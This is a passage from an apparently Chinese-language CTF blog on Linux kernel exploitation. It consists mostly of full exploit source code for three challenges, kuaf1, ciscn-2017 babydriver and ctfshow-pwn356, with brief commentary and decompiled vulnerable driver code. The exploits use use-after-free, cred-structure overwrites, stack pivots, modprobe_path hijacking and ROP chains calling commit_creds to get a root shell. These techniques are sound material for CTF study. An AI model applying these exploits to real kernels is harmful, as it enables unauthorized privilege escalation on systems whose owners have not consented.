cat gadget.txt|grep ": mov esp, 0x"|grep "ret;"
1
2
3
// 0xffffffff81482605: mov esp, 0xebc58948; ret;
size_t gadstack = 0xebc58948;
size_t *nbuf = (size_t *)mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

然后就可是ROP了

image

exploit1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include "minilib.h"
#define stbase(value) ((value) - 0xffffffff81000000ULL)

char flag[0x50] = {0};

int fd;

static void shellcode(){
    asm volatile (
        "xor rdi, rdi;"
        "mov rcx, prepare_kernel_cred;"
        "call rcx;"
        "mov rcx, commit_creds;"
        "call rcx;"
        // swapgs_restore_regs_and_return_to_usermode -- mov rdi,rsp
    );
}size_t sc_addr = (size_t)&shellcode + 8;


char *vuln_ko = "/proc/kuaf1";


int odp(char *path){
    int i = open(path, 2);
    if(i<0){
        puts("open error.");
        _exit(0);
    }
}

int fd1 =0;

size_t kernel_base = 0;
void doMain(){

    bind_core(0);
    save_status();
    size_t *ptr = (size_t*)malloc(0x1000);

    fd = odp(vuln_ko);
    fd1 = odp(vuln_ko);

    lss("fd = ",(size_t)fd);

    ioctl(fd1, 0x10001 ,(char *)0x20); // kmalloc 0x20

    close(fd1);
    int statfd = open("/proc/self/stat", O_RDONLY);

    read(fd, (char *)ptr, 0x10);
    hexdump((char *)ptr, 0x20);
    size_t single_start = ptr[0];
    kernel_base = single_start - stbase(0xffffffff812d2910);

    lss("kernel_base", kernel_base);

   
    size_t gadstack = 0xebc58948;

    // 0xffffffff81482605: mov esp, 0xebc58948; ret;
    size_t target = kernel_base + stbase(0xffffffff81482605);

    write(fd, (char *)&target, 8);
    size_t *nbuf = (size_t *)mmap(gadstack & ~0xFFF, 4*PAGE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

    size_t modprobe_path = kernel_base + stbase(0xffffffff82b3f400);
    size_t pop_rdi = 0xffffffff8133e208; // pop rdi; ret;
    size_t pop_rsi = 0xffffffff8103aa26; // pop rsi; ret;
    size_t mov_rsi_edi = 0xffffffff81c8e47c; //mov dword ptr [rsi - 0x16000005], edi; ret;
    size_t swapgs_restore_regs_and_return_to_usermode = kernel_base + stbase(0xffffffff82001637);
    // 0xffffffff82001637 <common_interrupt_return+103>:    mov    rdi,rsp
    // 0xffffffff8200163a <common_interrupt_return+106>:    mov    rsp,QWORD PTR gs:[rip+0x7e0049c2]        # 0x6004 <cpu_tss_rw+4>
    // 0xffffffff82001642 <common_interrupt_return+114>:    push   QWORD PTR [rdi+0x30]
    // 0xffffffff82001645 <common_interrupt_return+117>:    push   QWORD PTR [rdi+0x28]

    puts(g_color "Constructing ROP");
    char *tf[] = {"/tmp","/e1\x00\x00"};
    int i = 0x948/8;
    nbuf[i++] = pop_rdi;
    nbuf[i++] = ((int*)tf[0])[0];
    nbuf[i++] = pop_rsi;
    nbuf[i++] = modprobe_path + 0x16000005;
    nbuf[i++] = mov_rsi_edi;

    nbuf[i++] = pop_rdi;
    nbuf[i++] = ((int*)tf[1])[0];
    nbuf[i++] = pop_rsi;
    nbuf[i++] = modprobe_path + 0x16000005 + 4;
    nbuf[i++] = mov_rsi_edi;

    nbuf[i++] = swapgs_restore_regs_and_return_to_usermode;
    nbuf[i++] = 0;
    nbuf[i++] = 0;
    nbuf[i++] = (size_t)&modprobe_rce;
    nbuf[i++] = user_cs;
    nbuf[i++] = user_rflags;
    nbuf[i++] = user_sp;
    nbuf[i++] = user_ss;


    puts(g_color "Hijacking RSP...");
    read(statfd, (char *)nbuf, 0x11);
  
}

extern void _start(){
    size_t env[0];
    environ = (size_t)&env[4];
    doMain();
    syscall64(60,0);
}





这题的小结

上面利用的是 int statfd = open("/proc/self/stat", O_RDONLY);​ 会申请一个 0x20 的 堆块,通过UAF对此堆块的控制流劫持(read触发)

这题关闭里 smap 内核可以直接访问用户态的段,所以说 劫持 rsp 就变得简单了

1
2
3
kmalloc(0x400cc0, 0x20) // `open("/proc/self/stat", O_RDONLY)`

不到还有没有其他结构体会用这个flags 0x400cc0

ciscn-2017-babydriver

exploit-1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "minilib.h"


char flag[0x50] = {0};

int odp(char *path){
    return open(path, 2);
}

void doMain(){
    int fd1 = odp("/dev/babydev");
    int fd2 = odp("/dev/babydev");

    ioctl(fd1, 0x10001, (char *)0xa8);// 申请 0xa8
    close(fd2); // 这里释放,但是 还有一个 fd1 可以继续控制 堆块
    int pid = fork(); // 子进程会为struct cred 结构体申请一段内存空间(0xa8字节大小,对应kmalloc-0xc0) 会申请到上面free 的堆块
    if(pid==0){
        char buf[0x20] = {0};
        write(fd1,buf,0x20); // 此时控制的就是 子进程的 cred 结构体, 把前面的个 id 改成空 就提权了
        system("/bin/sh");
    }else{
        wait(NULL);
    }
}

extern void _start(){
    size_t env[0];
    environ = (size_t)&env[4];
    doMain();
    syscall64(60,0);
}

image

ctfshow-pwn356

题目分析

可能是哪个比赛的题目吧?

  • init 文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
chown -R 0:0 / 
mount -t tmpfs tmpfs /tmp
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 通过这里可以泄露 kernel 地址

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
chown 0:0 /root/ctfshow_flag
chmod 400 /root/ctfshow_flag
chmod 777 /tmp

insmod /show.ko

cat /root/logo
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
poweroff -d 120 -f &
setsid ./bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys


  • 一个LKM 内核模块 漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall show_copy_func(__int64 a1)
{
  __int64 result; // rax
  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

  v2[8] = __readgsqword(0x28u);
  printk(&unk_215);
  if ( a1 > 63 )                                // long int 有符号比较,可以负数绕过
  {
    printk(&unk_2A1);
    return 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
    qmemcpy(v2, &name, (unsigned __int16)a1);   // len 是 unsigend short
  }                                             // 然后就可以直接栈溢出
  return result;
}

unsigned __int64 __fastcall show_read(__int64 a1)
{
  char *v2; // rdi
  __int64 i; // rcx
  unsigned __int64 result; // rax
  char v5[64]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]

  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = v5;
  for ( i = 16LL; i; --i )
  {
    *(_DWORD *)v2 = 0;
    v2 += 4;
  }
  strcpy(v5, "Welcome to the CTFshow-KernelPWN.\n");
  result = copy_to_user(a1, &v5[off], 64LL);   // 通过控制 off 的值,可以从kernel stack 上泄露 canary
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm { swapgs }
  return result;
}


__int64 __fastcall show_ioctl(__int64 a1, int a2, __int64 a3)
{
  switch ( a2 )
  {
    case 0x6677889B:
      show_read(a3);
      break;
    case 0x6677889C:
      printk(&unk_2CD);
      off = a3;          // 可以设置偏移
      break;
    case 0x6677889A:
      printk(&unk_2B3);
      show_copy_func(a3);
      break;
  }
  return 0LL;
}

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include "minilib.h"
#define stbase(value) ((value) - 0xffffffff81000000ULL)

int fd;

int odp(char *path){ return open(path, 2); }

size_t hex_string_to_size_t(const char *hex_str) {
    size_t result = 0;
    if (hex_str[0] == '0' && (hex_str[1] == 'x' || hex_str[1] == 'X')) { hex_str += 2; }
    while (*hex_str) {
        char c = (unsigned char)*hex_str;
        if (c >= '0' && c <= '9') {
            result = result * 16 + (c - '0');
        } else if (c >= 'a' && c <= 'f') {
            result = result * 16 + (c - 'a' + 10);
        } else { break; }
        hex_str++; } return result;
}


void doMain(){
    bind_core(0);
    save_status();

    fd = odp("/proc/show");
    size_t buf[10] = {0};
    // show

    ioctl(fd,0x6677889C,(char *)0x40);

    ioctl(fd,0x6677889B,(char *)&buf);

    lss("canary",buf[0]);

    size_t *rop = (size_t *)malloc(0x2000);

    int fd1 = open("/tmp/kallsyms",0);

    char *tmp = malloc(0x1000);
    read(fd1, tmp, 0x46);
    read(fd1, tmp, 0x10);
    tmp[0x10] = 0;
    hexdump(tmp,0x100);

    size_t kernel_base  = hex_string_to_size_t(tmp);
    size_t pop_rdi      = kernel_base + stbase(0xffffffff81000b2f);
    size_t prepare_cred = kernel_base + stbase(0xffffffff8109cce0);
    size_t commit_creds = kernel_base + stbase(0xffffffff8109c8e0);
    size_t vfork        = kernel_base + stbase(0xffffffff81081920);
    size_t mov          = kernel_base + stbase(0xffffffff813f9ede);// mov rdi, rax ; pop rbp ; mov rax, rdi ; pop r12 ; ret
    lss("kernel_base", kernel_base);
    //_exit(0);

    int i = 8;
    rop[i++] = buf[0];
    rop[i++] = 0;
    rop[i++] = pop_rdi;
    rop[i++] = 0;
    rop[i++] = prepare_cred;
    rop[i++] = mov;
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = commit_creds;
    rop[i++] = kernel_base + stbase(0xffffffff81a008f0);
    rop[i++] = 0;
    rop[i++] = 0;
    rop[i++] = (size_t)&get_root_shell;
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;

    write(fd,(char *)rop,0x200);

    ioctl(fd,0x6677889A,(char *)0xffffffffFFFF0100);
}

extern void _start(){
    size_t env[0];
    environ = (size_t)&env[4];
    doMain();
    syscall64(60,0);
}

参考文章

1
2
https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/
https://blog.csdn.net/qq_61670993/category_12450293_2.html

END

本文由作者按照 CC BY 4.0 进行授权

© imLZH1. 保留部分权利。

本站总访问量

本站采用 Jekyll 主题 Chirpy

热门标签